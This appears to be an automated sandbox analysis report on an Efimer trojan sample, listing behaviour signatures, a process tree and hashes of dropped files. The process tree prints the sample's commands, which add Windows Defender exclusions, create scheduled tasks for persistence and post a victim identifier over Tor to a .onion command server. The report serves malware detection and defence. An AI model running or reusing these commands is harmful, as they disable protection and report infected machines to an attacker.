Overview

overview

10

Static

static

3

common.dat.exe

windows10-2004-x64

10

common.dat.exe

windows11-21h2-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    20/05/2026, 19:55

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    common.dat.exe
  • Size 13.2MB
  • Sample260520-ynb8ssb18v
  • SHA256 e940d1ec496a0fe89c2b8780625bea0a43e2b2cf5d3885813bcd2f512c4a5ca8
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
executionefimerpersistencespywarestealertrojan

Malware Config

Signatures

  • Family: Efimer

    Efimer is a trojan written in JS.

    trojanefimer
  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 15 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\common.dat.exe
    "C:\Users\Admin\AppData\Local\Temp\common.dat.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1648
    • C:\Users\Admin\AppData\Local\Temp\common.dat.exe
      "C:\Users\Admin\AppData\Local\Temp\common.dat.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3920
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:740
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5116
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Public\Documents\uzaya'""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2240
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Public\Documents\uzaya'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1836
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4616
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3504
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\cmd.exe'""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4288
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\cmd.exe'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3320
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\clip.exe'""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4944
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\clip.exe'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:212
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Get-MpComputerStatus | Out-Null""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2056
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Get-MpComputerStatus | Out-Null"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2412
      • C:\Windows\SYSTEM32\curl.exe
        curl -s --max-time 10 https://ipinfo.io/country
        3⤵
          PID:1764
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /create /tn ufino /xml C:\Users\Public\Documents\uzaya\ufino.xml /f
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:4384
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /create /tn ocafa /xml C:\Users\Public\Documents\uzaya\ocafa.xml /f
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:312
    • C:\Windows\System32\wscript.exe
      C:\Windows\System32\wscript.exe
      1⤵
        PID:2084
      • C:\Windows\System32\wscript.exe
        C:\Windows\System32\wscript.exe C:\Users\Public\Documents\uzaya\ufino.js
        1⤵
          PID:3472
        • C:\Windows\System32\wscript.exe
          C:\Windows\System32\wscript.exe C:\Users\Public\Documents\uzaya\ocafa.js
          1⤵
          • Checks computer location settings
          • Suspicious use of WriteProcessMemory
          PID:4724
          • C:\Users\Public\Documents\uzaya\ugate.exe
            "C:\Users\Public\Documents\uzaya\ugate.exe"
            2⤵
            • Executes dropped EXE
            PID:4564
          • C:\Windows\System32\curl.exe
            "C:\Windows\System32\curl.exe" -X POST -d "version=2.0&GUID=vt1z-f7d2b157&FLAG=0&GEIP=??&action=GUID" --socks5-hostname localhost:9050 http://cgky6bn6ux5wvlybtmm3z255igt52ljml2ngnc5qp3cnw5jlglamisad.onion/route.php --max-time 30 -o C:\Users\Admin\AppData\Local\Temp\cfile
            2⤵
              PID:2108
            • C:\Users\Public\Documents\uzaya\ugate.exe
              "C:\Users\Public\Documents\uzaya\ugate.exe"
              2⤵
              • Executes dropped EXE
              PID:4200

          Network

                MITRE ATT&CK Enterprise v16

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                powershell.exe.log
                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 2b139c74072ccbdaa17b950f32a6dbc934dfb7af9973d97c9b0d9c498012ba68
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 0e1f0e684adb40a5d0668df5fed007c9046137d7ae16a1f2f343b139d5f9bc93
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 2d8d88440ac91d756e52b9029c25684ad2522f9dbb9c800f3929633529497818
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 8bf209b2cea22b8f3053f4bab7d26233dfe7769ef76a00d8b1505f3bf62ce2e8
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                StartupProfileData-NonInteractive
                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 8313a191aa9d11cce868d95ac9a9b1609275bfe93131fcb6e547b985b0242fbe
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                VCRUNTIME140.dll
                • Path C:\Users\Admin\AppData\Local\Temp\_MEI16482\VCRUNTIME140.dll
                • Size 117KB
                • SHA256 36585912e5eaf83ba9fea0631534f690ccdc2d7ba91537166fe53e56c221e153
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                VCRUNTIME140_1.dll
                • Path C:\Users\Admin\AppData\Local\Temp\_MEI16482\VCRUNTIME140_1.dll
                • Size 48KB
                • SHA256 82a2f9ae1e6146ae3cb0f4bc5a62b7227e0384209d9b1aef86bbcc105912f7cd
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                _bz2.pyd
                • Path C:\Users\Admin\AppData\Local\Temp\_MEI16482\_bz2.pyd
                • Size 82KB
                • SHA256 fc3b481684b926350057e263622a2a5335b149a0498a8d65c4f37e39dd90b640
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                _ctypes.pyd
                • Path C:\Users\Admin\AppData\Local\Temp\_MEI16482\_ctypes.pyd
                • Size 128KB
                • SHA256 f63c6c7e71c342084d8f1a108786ca6975a52cefef8be32cc2589e6e2fe060c8
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                _decimal.pyd
                • Path C:\Users\Admin\AppData\Local\Temp\_MEI16482\_decimal.pyd
                • Size 271KB
                • SHA256 b715d1c18e9a9c1531f21c02003b4c6726742d1a2441a1893bc3d79d7bb50e91
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                _hashlib.pyd
                • Path C:\Users\Admin\AppData\Local\Temp\_MEI16482\_hashlib.pyd
                • Size 62KB
                • SHA256 838d5c8b7c3212c8429baf612623abbbc20a9023eec41e34e5461b76a285b86c
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                _lzma.pyd
                • Path C:\Users\Admin\AppData\Local\Temp\_MEI16482\_lzma.pyd
                • Size 154KB
                • SHA256 d080eabd015a3569813a220fd4ea74dff34ed2a8519a10473eb37e22b1118a06
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                _socket.pyd
                • Path C:\Users\Admin\AppData\Local\Temp\_MEI16482\_socket.pyd
                • Size 81KB
                • SHA256 35246b04c6c7001ca448554246445a845ce116814a29b18b617ea38752e4659b
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                _uuid.pyd
                • Path C:\Users\Admin\AppData\Local\Temp\_MEI16482\_uuid.pyd
                • Size 25KB
                • SHA256 f9d5008f0772aa0720bc056a6ecd5a2a3f24965e4b470b022d88627a436c1ffe
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                _wmi.pyd
                • Path C:\Users\Admin\AppData\Local\Temp\_MEI16482\_wmi.pyd
                • Size 37KB
                • SHA256 6435c679a3a3ff4f16708ebc43f7ca62456c110ac1ea94f617d8052c90c143c7
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                base_library.zip
                • Path C:\Users\Admin\AppData\Local\Temp\_MEI16482\base_library.zip
                • Size 1.3MB
                • SHA256 939097b149c90b042740f4a3fe2ea3da26cf0943b0e946b2a33c5ed727ca1cf1
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                addrs.txt
                • Path C:\Users\Admin\AppData\Local\Temp\_MEI16482\data_pack\addrs.txt
                • Size 1.4MB
                • SHA256 9e97281b4f30e2e292c404be56c565eb791b01c4257dd45b473882c3421ce57f
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                jobfs_d.js
                • Path C:\Users\Admin\AppData\Local\Temp\_MEI16482\data_pack\jobfs_d.js
                • Size 20KB
                • SHA256 ac2e1f0a07ac78f7ea966103de4cc1b3593439c048da54f915e22b82cc8d267a
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                jobfs_n.js
                • Path C:\Users\Admin\AppData\Local\Temp\_MEI16482\data_pack\jobfs_n.js
                • Size 33KB
                • SHA256 9105f7317049721f459714be1993d17356bc806abb0e56f3f4d86b15a04d979d
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                jpack.js
                • Path C:\Users\Admin\AppData\Local\Temp\_MEI16482\data_pack\jpack.js
                • Size 2KB
                • SHA256 244446ae717ab630c5830154e991406b8c6472c3b61df082692df854e34b3c56
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                task.xml
                • Path C:\Users\Admin\AppData\Local\Temp\_MEI16482\data_pack\task.xml
                • Size 3KB
                • SHA256 350512d1d14e4d1c22f1529426c22af9a2235c875687d632feeb7ed9c7c5b2dc
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                ugate.exe
                • Path C:\Users\Admin\AppData\Local\Temp\_MEI16482\data_pack\ugate.exe
                • Size 8.6MB
                • SHA256 b5545f96a9b57c397c7135a4c149ca1063cd9e937f92b28e114e662957c6b99a
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                words.txt
                • Path C:\Users\Admin\AppData\Local\Temp\_MEI16482\data_pack\words.txt
                • Size 14KB
                • SHA256 f2244865b7e1de346d66be9b1d4fe92d34c22eb834daf1d7a44725e3120860dc
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                libcrypto-3.dll
                • Path C:\Users\Admin\AppData\Local\Temp\_MEI16482\libcrypto-3.dll
                • Size 5.0MB
                • SHA256 4e5d5d20d6d31e72ab341c81e97b89e514326c4c861b48638243bdf0918cfa43
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                libffi-8.dll
                • Path C:\Users\Admin\AppData\Local\Temp\_MEI16482\libffi-8.dll
                • Size 38KB
                • SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                _psutil_windows.pyd
                • Path C:\Users\Admin\AppData\Local\Temp\_MEI16482\psutil\_psutil_windows.pyd
                • Size 69KB
                • SHA256 0035450801bd7d938e9e146c5ec28e619cb5a5f4a18cdc53ac7e9734c7f94f78
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                pyarmor_runtime.pyd
                • Path C:\Users\Admin\AppData\Local\Temp\_MEI16482\pyarmor_runtime_000000\pyarmor_runtime.pyd
                • Size 625KB
                • SHA256 929821c9f4d5052c2d1b8b4ee86c814468528427d65a89cea85a558ed924a12e
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                python3.DLL
                • Path C:\Users\Admin\AppData\Local\Temp\_MEI16482\python3.DLL
                • Size 68KB
                • SHA256 a5c6a329698490a035133433928d04368ce6285bb91a9d074fc285de4c9a32a4
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                python313.dll
                • Path C:\Users\Admin\AppData\Local\Temp\_MEI16482\python313.dll
                • Size 5.8MB
                • SHA256 0c0a66505093b6a4bb3475f716bd3d9552095776f6a124709c13b3f9552c7d99
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                select.pyd
                • Path C:\Users\Admin\AppData\Local\Temp\_MEI16482\select.pyd
                • Size 30KB
                • SHA256 78e5994c29d8851f28b5b12d59d742d876683aea58eceea1fb895b2036cdcdeb
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                unicodedata.pyd
                • Path C:\Users\Admin\AppData\Local\Temp\_MEI16482\unicodedata.pyd
                • Size 693KB
                • SHA256 2693c7ee4fba55dc548f641c0cb94485d0e18596ffef16541bd43a5104c28b20
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                __PSScriptPolicyTest_nvrat33i.jx3.ps1
                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nvrat33i.jx3.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                cfile
                • Path C:\Users\Admin\AppData\Local\Temp\cfile
                • Size 19B
                • SHA256 9f4d40067f77d046a1b95c3241913a8de92c10d8e618add8fb6bf8873180e447
                • MD5 SHA1 SHA512
                Submit Download

                cached-certs
                • Path C:\Users\Admin\AppData\Roaming\tor\cached-certs
                • Size 20KB
                • SHA256 6d5d42d56f9488e6d432f1e0b622b2c6ea0b4e00d0e8bb46f741fe5a9aaaeefc
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                cached-microdesc-consensus.tmp
                • Path C:\Users\Admin\AppData\Roaming\tor\cached-microdesc-consensus.tmp
                • Size 3.4MB
                • SHA256 b7a72459ad5bc3d947b360868b1bd1fc84202d8cc188e1bd70562ad30afa85f9
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                cached-microdescs.new
                • Path C:\Users\Admin\AppData\Roaming\tor\cached-microdescs.new
                • Size 16.3MB
                • SHA256 5528a3fdf7887eef4b1ec3e76b3c00ad351fcecd5c7827730c81b944e56058c0
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                cached-microdescs.new
                • Path C:\Users\Admin\AppData\Roaming\tor\cached-microdescs.new
                • Size 36.7MB
                • SHA256 5522df27d332e11ae944e65f37b64959d57c286f992d2258a930a58bde332ed2
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                state
                • Path C:\Users\Admin\AppData\Roaming\tor\state
                • Size 3KB
                • SHA256 0f41908940026317f358c4ca6f1c7844435d254c0e2cf0b8df26cf47f4c7ecd5
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                GUID
                • Path C:\Users\Public\Documents\uzaya\GUID
                • Size 13B
                • SHA256 0ec9d7c03e4252c828f175844022cc73bd616fb3688d5d3354c5ad277323fd0b
                • MD5 SHA1 SHA512
                Submit Download

                addrs.txt
                • Path C:\Users\Public\Documents\uzaya\addrs.txt
                • Size 1.4MB
                • SHA256 9de315d175129958a383e63d31807d9a18c6799b3b951d254514440474820c12
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                ocafa.js
                • Path C:\Users\Public\Documents\uzaya\ocafa.js
                • Size 51KB
                • SHA256 951a937de273d4dc62cb578d25a8609f871513a13009d154c67ac26fe1e2b603
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                ocafa.xml
                • Path C:\Users\Public\Documents\uzaya\ocafa.xml
                • Size 3KB
                • SHA256 bb6c1575e7e73d6e1b07d6748eee6bbc32ddeed2be2a1829c2900240a8873dfd
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                ufino.js
                • Path C:\Users\Public\Documents\uzaya\ufino.js
                • Size 32KB
                • SHA256 a9057d781b24717dca51a4312753bdadcdf34a5fdd23c75b5e24da327106b1b8
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                ufino.xml
                • Path C:\Users\Public\Documents\uzaya\ufino.xml
                • Size 3KB
                • SHA256 5cbfa3e18446434aa15a3ed44d636c5e8f2c05c77916a4383692e6223b5c5064
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                ugate.exe
                • Path C:\Users\Public\Documents\uzaya\ugate.exe
                • Size 8.6MB
                • SHA256 6b866c187a0dee2fb751a8990d50dc1ed83f68e025720081e4d8e27097067dc8
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                words.txt
                • Path C:\Users\Public\Documents\uzaya\words.txt
                • Size 14KB
                • SHA256 d2bd2aeb50ac5df60c1eb10afcec2b680d5a8a9f2bbc74a15c45bf3525528334
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                memory/1648-81-0x00007FF607230000-0x00007FF607262000-memory.dmp
                Download

                memory/1648-146-0x00007FF607230000-0x00007FF607262000-memory.dmp
                Download

                memory/3920-144-0x00007FF607230000-0x00007FF607262000-memory.dmp
                Download

                memory/3920-100-0x00007FF607230000-0x00007FF607262000-memory.dmp
                Download

                memory/3920-101-0x0000000070180000-0x000000007022B000-memory.dmp
                Download

                memory/3920-145-0x0000000070180000-0x000000007022B000-memory.dmp
                Download

                memory/5116-67-0x0000014A8EDA0000-0x0000014A8EDC2000-memory.dmp
                Download

                memory/5116-61-0x0000014A8EDD0000-0x0000014A8EDE0000-memory.dmp
                Download